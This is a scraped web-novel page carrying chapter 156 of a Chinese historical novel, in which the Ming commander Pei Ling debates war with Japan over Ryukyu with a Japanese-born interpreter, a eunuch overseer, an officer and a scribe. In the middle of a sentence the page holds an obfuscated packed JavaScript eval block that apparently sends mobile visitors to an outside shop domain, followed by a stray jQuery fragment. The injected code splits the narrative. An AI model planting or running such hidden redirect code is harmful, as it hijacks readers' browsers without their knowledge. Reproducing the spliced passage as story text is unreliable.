默认冷灰
24号文字
方正启体

156. 第 156 章

作者:年年乐事本书字数:K更新时间:
    当下参与谈判的,实则还有三人。坐于裴泠下首右侧者,乃福建南山水寨钦依把总李纲;左侧乃司礼监随堂太监贾振元,此番隆安帝特遣太监随军,盖因朝鲜之役时,前线将官有隐瞒朝廷、伪报战况之事,故遣内官监督,以杜前弊。而坐于裴泠后方者,除倭语小通事江渊外,还有文书官潘显成。他是负责整理裴泠在远征期间所有奏疏、咨文,并记录其每日言行。远征结束后,所有文书档案将上交翰林院,由史官汇编成书,以传后世。


    但见裴泠略一颔首,对回浦恭介道:“通事请坐。”


    他闻言,拂袍重新落座。


    见其坐定,裴泠便开门见山地问:“通事之职,在于准确传达。方才通事擅自曲改,是为何故?”


    回浦恭介迎上她的目光,答道:“为明日和平。”


    裴泠笑了:“和平?通事以为,避重就轻,改换措辞,便能换来和平?”


    回浦恭介道:“在下人微言轻,所能为者,不过如此。然两国交战,生灵涂炭,今日之日本,亦非天朝眼中那般羸弱。若战端一启,于天朝而言,实有害而无利。”


    话音未落,钦依把总李纲忽然开口:“你那位使臣,方才口出大逆不道之言。天朝虽以德怀远,却也不是没有雷霆之怒。这般狂妄之人,也能充任使节?依我看,日本确实该好好吃一次教训。即便论利害,你们那些矿山,也足够抵偿天朝此番出兵耗费,征与不征,从来都在天朝一念之间。”


    回浦恭介看向李纲:“这位将军,在下可直言相告,日本最大的石见银山,巅峰之年产银不过一百余万两,即便将日本所有矿山合而计之,一年所得,至多三百万两,除去开采之费、运输之耗、冶炼之损,真正入得库中,二百多万两而已。在下此言若有半字虚妄,愿遭天打雷劈。”他顿了顿,视线缓缓扫过众人,“诸位不妨细算,日本矿山之产出,究竟能否抵过两国开战后,天朝出兵之耗费。”


    屋内一时无声。


    回浦恭介便又道:“在下自然相信,若天朝真下定决心,日本必不能挡。然则,可有此必要?天朝最后所得,当真能多过于失?战事一起,无论对天朝还是日本,皆是苍生之祸。在下知诸位未必信我,但我仍要说,大明始终是我故土,我对大明确有感情,我今日所言,确实为两国计,为苍生计。”


    裴泠看着他:“你生在日本,长在日本,从未踏足大明,你对大明有感情?”


    回浦恭介神色郑重:“将军可知,今日之长崎,已有华人万余?我等虽生在日本,长在日本,但生活却与中国息息相关,如何能无感情?如今明日贸易,于大明是商人走私,于日本却是官方贸易。长崎乃日本唯一对外通商之港,而唐通事一职,便是为此而设。我等不仅是译员,亦兼管唐船、理唐务,正因我们是华人之后,方能充任此职,也正因明日有贸易往来,我等方能在异乡立足,得人善待,衣食无忧。我们从未忘记故土,在下姓‘回浦’,是因祖籍浙江台州,台州古名回浦,此姓便是为纪念故土而起。长崎数家华人大族,或留本姓,或以祖宗郡望为姓,所为何者?不过是让子孙记得,自己是谁的后代,根在何处。只有天朝强盛,只有明日和平,我等流落异乡之人才能安生立命。”


    言语间,他起身长揖,语声恳切:“此皆在下剖心之言,山北省是幕府底线,若天朝不允,必有一战,恳请将军再行斟酌。”


    自回浦恭介走后,屋内沉寂。


    良久,贾振元率先开口:“裴督帅,此番远征,陛下有过明谕,绝不可挑起两国战端,不得攻入日本本土,我军要解决的,只是琉球问题。”


    李纲似有不忿:“贾公公被那使臣几句话就唬住了?谈判桌上放狠话,不过寻常之事,有何可惧?日本弹丸之地,不过是我云南一省大小。彼等所谓的战国,打了上百年,不过是我大明州县之间械斗罢了。”


    贾振元面色一沉,眼中已有愠色:“李把总,我劝你别自视过高,别忘了我们在万历朝鲜之役付出了什么!打仗打的是人,打得更是后勤,是钱!朝鲜用兵首尾七年,约费饷银五百八十二万二千余两,又地亩米豆援兵等饷,约费银二百余万两,合计七八百万两!且中间还有三年和谈,并未时时交战。日军在朝鲜之役,也未投入全部兵力,若攻其本土,兵力至少翻两倍,战争规模扩大数倍!我朝投入三十万大军都未必够用。且日本山地纵横,城池林立,五载苦战许也无法尽克,三十万大军跨海作战,仅军费一项,一年少说五百万两!打五年便是二千五百万两!”


    他转向李纲,目光如炬:“这还只是打仗的钱!打完要不要守?守要不要驻军?算驻军五万,一年饷银粮秣、战船官吏、杂项诸如运输开支,一年保守也要一百五十万两!这还是一切顺利的情况下,日本武士遍地,今日降明日叛,平叛之费另算。日本所有银山,一年收益不过二百余万两。二千五百万两的征战之费,加上每年一百五十万的驻军开支,你算算,多少年才能回本?三十年!要三十年!前提是这三十年里,银山不能减产,武士不能叛乱,海路不能中断!”


    贾振元胸膛起伏:“历史的教训近在眼前,安南,我朝曾取之,然守其地成本过高,终不得不弃。安南尚且接壤,日本孤悬海外,你告诉我,大明为何要不计代价地去守?我朝从来不需要占领日本,才能得日本之银,丝绸、瓷器、茶叶这些我朝富余之物就是白银!用自己有的,换自己想要的,何苦拿命去抢?太祖将日本列为不征之国,所言何其透彻,得其地不足以供给,得其民不足以使令!尔等当谨记太祖之训!后世子孙,倚中国富强,贪一时战功,无故兴兵,致伤人命,切记不可!”


    话音


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273571|184422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    落地,屋里众人都在等裴泠表态。


    “琉球不可让。”半晌后,裴泠终于开言,“这是底线,绝不可退。今日退一步,或可换得一纸和约,可这和约能保几年太平?十年?二十年?五十年?他们今日要的是山北省,明日呢?后日呢?几十年后,若日本再起野心,要彻底吞并琉球,那时我们退不退?琉球若尽入其手,下一步又是哪里?”她厉声道,“是台湾!万历时就敢对台湾图谋不轨,贾公公,我问你,若真有那么一日,日本兵临台湾,你还要退吗?琉球于我,从不是一块可有可无的藩属之地,而是大明海疆门户,是东南藩篱的第一道关,这道关必须保!如今跟他们没什么好谈,要谈,也得打完再谈。”


    贾振元闻言脸色一变,正要说话。


    裴泠抬手止住他,一字一句道:“贾公公,我们现在打仗,现在流血,为的是让后世子孙不必打仗,不必流血,与日本这一战,打的是百年太平!”


    贾振元霍然站起:“裴督帅,不是谁都能坐你如今这个位置,你代表的不是你自己,而是朝廷,是大明!你可知自己如今一句话能决定多少人的生死?注意你的一言一行!”


    语毕,他拂袖而去。


    四下空寂,李纲欲言又止,终是朝裴泠深作一揖,转身离去。裴泠随即摆了摆手,屋内四角士兵与江渊也相继退下。


    她略略垂首,面露疲惫。


    这时,文书官潘显成走近,将怀中一沓文书搁在案前,说道:“督帅,此番谈判所录,请您过目。”


    裴泠未动,只道:“如实记录便好,不必给我看。”


    潘显成应了一声,将文书收回,却没有离开。


    裴泠抬头,目光落在他身上:“你有话说?”


    “卑职不敢,”潘显成躬身,“卑职不过一介文书官,岂敢参赞军务。”


    裴泠便道:“无事,但说无妨,我也想听听第三人的意见。”


    “那卑职就斗胆一言,”潘显成稍顿,“卑职以为,督帅与贾公公所言,皆有道理。此番远征,军务悉由督帅一人决断,权力越大,责任越重。您身后,不止是十六万将士,还有朝廷,有陛下,更有大明万万百姓。”


    言着,他语气渐沉:“万历朝鲜之役,我朝虽克敌制胜,然元气大损,尤以辽东为甚。为援助朝鲜,辽东物力残破,闾阎一空。万历二十一年,正值大灾,然辽东仍竭尽全力,运粮谷十四万石至朝鲜。灾后次年,又运粮二万二千七百石。除沿海水运外,更有陆路风雪长行,车马相继。辽左一路,困于朝鲜之役,骡车皆已荡尽,百姓为保前线军需,民生嗷嗷,至有卖子而求食者。”


    潘显成说到这里,不再继续,朝裴泠一揖,便退了出去。


    门轻轻合拢,屋内重归寂静。


    裴泠叹口气,垂下头,闭上了眼。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)